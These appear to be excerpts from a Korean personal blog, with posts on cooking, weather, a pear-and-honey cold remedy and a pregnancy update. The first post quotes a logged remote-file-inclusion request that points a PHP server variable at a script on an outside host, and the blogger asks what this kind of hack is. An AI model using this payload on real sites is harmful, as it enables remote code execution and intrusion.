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수상한 방문 기록

오늘 홈페이지의 로그를 확인해보니 아래와 같은 수상한 방문 기록이 남아 있었다. http://zolaist.org/wiki/index.php//?_SERVER%5BDOCUMENT_ROOT%5D=http://www.teamspiritrealty.com/photo//data/id1.txt??? 살짝 검색을 해보니 이런 형식의 해킹이 꽤 있는 것 같던데, 한글로 된 몇몇 자료는 무슨 뜻인지 잘 모르겠고, 영어로 된 검색 자료는 읽기 귀찮아서 포기 -_-; 혹시 이런 종류의 해킹에 대해 아는 사람 있나?

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요리

요즘 먹고 사는 것들

미쿡에 산다고는 하지만, 먹고 사는 건 완전 한국식이다. 아래 사진을 보다 보면 우리가 어디서 사는지 의심스러울지도 모르겠다. 아래는 우리가 미쿡에 산다는 증거 사진 메뉴판에 “Market Price”, 즉 한국말로 “시가”라고 적혀 있는 메뉴. 학회 때문에 뉴올리언즈에서 보스턴에 오신 부인님의 선배 대호씨가 사주셨다. 생각해보니 우리가 대접했어야 하는데 오히려 대접을 받은 것 같아 미안하면서 감사.^^ 사진처럼 통째로 익혀진 […]

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일상

먹구름은 저편으로

엄청나게 비가 쏟아지더니 어느새 파란 하늘이 보였다. 하늘을 뒤덮고 있던 구름은 순식간에 저편으로 몰려갔다.  

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요리

배중탕

나랑 부인님이랑 살짝 감기 기운이 있어서 배중탕이라는 것을 해먹었다. 만드는 방법은 간단하다. 배의 윗단을 잘라 사진처럼 배뚜껑을 만든다. 배의 아랫단 속을 대충 파낸다. 속을 너무 많이 파면 중탕 과정에서 배가 뭉그러질 수 있으니(상), 중탕과정에서 배가 조금 흐물해지더라도 몸을 지탱할 수 있을 정도로 “대충만” 파낸다(하). 파낸 속은 바로 먹으면 된다. 파낸 공간에 청주와 꿀을 넣는다. 우리는 […]

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하임&하늘

두타타~ 두타타~

“두타타”는 부인님 뱃속에서 17주째 자라고 있는 아기의 임시 이름이다. 음악 반주 소리에서 따온 거라고 해야 하나? “두타타~ 두타타~” 소리를 내고 나면 괜히 기분이 밝아지는 게 좋아서 “두타타”라고 지었다. 부인님 친구 인숙씨가 보내준 임신 서적(위 그림)에 따르면, 우리 두타타는 11-12센티미터 정도의 크기에 몸무게는 100그램 정도라고 한다. 두 달 전쯤 아기 크기가 2센티라는 걸 보고서는 엄지와 검지로 […]